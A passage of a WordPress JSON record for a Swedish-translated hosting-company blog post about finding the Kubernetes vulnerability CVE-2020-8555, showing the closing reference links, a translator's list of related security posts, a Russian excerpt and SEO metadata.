kubernetes-security-announce<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020-8555<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">golang-\u00e4rende #30794<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">heketi\/client\/api\/go-client\/volume.go<\/a><\/noindex>.<\/li>\n<\/ul>\n<p><\/p>\n<h2>P.S. fr\u00e5n \u00f6vers\u00e4ttaren<\/h2>\n<p>\nL\u00e4s \u00e4ven i v\u00e5r blogg:<\/p>\n<ul>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/485838\/\">Jakt p\u00e5 buggar i Kubernetes \u00e4r officiellt \u00f6ppnad<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/466625\/\">\u00d6verskridande av pod i Kubernetes genom att montera loggar<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/465141\/\">33+ verktyg f\u00f6r Kubernetes-s\u00e4kerhet<\/a><\/noindex>\u00bb.<\/li>\n<\/ul>\n<p>K\u00e4lla: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/508308\/\">habr.com<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u041f\u0440\u0438\u043c. \u043f\u0435\u0440\u0435\u0432.: \u0430\u0432\u0442\u043e\u0440\u044b \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 \u0432 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u0445 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2020\u20138555 \u0432 Kubernetes. \u0425\u043e\u0442\u044f \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043e\u043d\u0430 \u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0444\u0430\u043a\u0442\u043e\u0440\u0430\u043c\u0438 \u0435\u0451 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u0443 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439. \u0417\u0430 \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0449\u0435\u0434\u0440\u043e \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0434\u0438\u043b\u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439. \u041a\u0442\u043e \u043c\u044b \u0442\u0430\u043a\u0438\u0435 \u041c\u044b \u2014 \u0434\u0432\u0430 \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u0438\u0445 [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":86624,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[688],"tags":[],"class_list":["post-86623","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-administrirovanie"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.4 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/sv\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.4\" \/>\n\t\t<meta property=\"og:locale\" content=\"sv_SE\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/sv\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47N\u00e4r det handlar om mer \u00e4n bara s\u00e5rbarhet i Kubernetes\u2026 | ProHoster","description":"Ex.","canonical_url":"https:\/\/prohoster.info\/sv\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"sv_SE","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster","og:description":"\u041f\u0440\u0438\u043c.","og:url":"https:\/\/prohoster.info\/sv\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2020-06-27T17:42:40+00:00","article:modified_time":"2020-06-27T17:42:40+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"86623","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-02-28 14:11:05","updated":"2022-09-28 21:18:58","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/posts\/86623","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/comments?post=86623"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/posts\/86623\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/media\/86624"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/media?parent=86623"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/categories?post=86623"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/tags?post=86623"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}